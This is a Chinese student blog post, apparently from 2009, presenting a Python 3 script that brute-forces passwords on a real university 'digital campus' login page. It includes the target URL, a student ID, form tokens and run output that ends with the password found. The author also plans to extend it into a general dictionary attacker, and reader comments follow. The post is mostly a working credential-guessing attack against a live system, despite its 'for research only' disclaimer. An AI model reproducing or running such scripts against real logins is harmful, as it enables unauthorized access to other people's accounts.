来自http://tunps.com/python-newbie-to-web-cracking-script
二级考完了,成绩还没有出现,现在每个星期7节课,我纳闷了,课程能否安排多一点嘛。别水得太明显了,否则我都不好意思在高中同学面前说我们课有好“多”,有好“忙”了。
何以解忧,唯有上网!准备用python写个暴力破解学校数字话校园的脚本,(注:三天前开始看
python现在的稳定版有两个2.6.1和3.0.1,听说后者改进了很多东西,不如去掉了urllib2,统一到urllib中。正是python的改进时如此的迅速造成了我股沟出来的源码很多都运行不起了。
#tunpishuang at gmail dot com
#2009.4.1
#dc_crack.py 0.0.1
import urllib.request
import urllib.parse
fsock=open('pass.txt','r')
for i in range(1,10000000):
pw=fsock.readline(7)
params = urllib.parse.urlencode({"__VIEWSTATE":"/wEPDwUKLTc4NzgzNzQ2OA9kFgICAw9kFgICAw8PFgIeBFRleHQFD+aVsOWtl+WMluagoeWbrWRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQlpYnRuTG9naW5tSss80plBNjDsxReY6EwpOTNoAA==","tbUserNo": 20720310307, "tbPW": pw,"ibtnLogin.x":28,"ibtnLogin.y":12,"__EVENTVALIDATION":"/wEWBALXj5D7DgKK/c7gAQLGusrDBwKBo5SvBRBXbuiC9/sP++91qHXRDbl49eF+"})
f = urllib.request.urlopen("http://dc.cqit.edu.cn/userlogin.aspx", params)
flag=str(f.read(9))
if(flag == "b'
<script>t'"):
print("login ok!")
print("the true password is: %s" %pw)
break
else:
print("flag:%s ,password:< %s> wrong !trying next password...\n" % (flag,pw))
|
通过http.client.HTTPResponse这个实例的类文件对象的read(9)方法来判断,开始无论密码正确否都返回error!,后来在Google论坛comp.lang.python发了个帖子,某老外热情的解答了我等小菜的疑问,甚感激。
原来是py3默认用的unicode,但是http返回的是bytes,需要通过str()转换一下,大概就是这样吧。
最后把自己的密码改成一个稍微靠前点的:0000010:
>>>
flag:b’ <script>a’ ,password:<0000000> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000001> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000002> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000003> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000004> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000005> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000006> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000007> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000008> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
flag:b’ <script>a’ ,password:<0000009> wrong !trying next password…
flag:b’ <script>a’ ,password:<
> wrong !trying next password…
login ok!
the true password is: 0000010
>>>
破完收工~下一步准备完善一下:词典直接放内存,通过参数支持get,post和自定义action页面,自定义发送输入….etc…..
[本文出现的脚本仅供研究,切勿用于非法用途,否则后果自负]
哇,现在这个模板很不错啊
我也想学python,可惜没有什么时间啊
小哥你的博客有点水平啊。请问你现在大几?
不敢当啦,呵呵,大二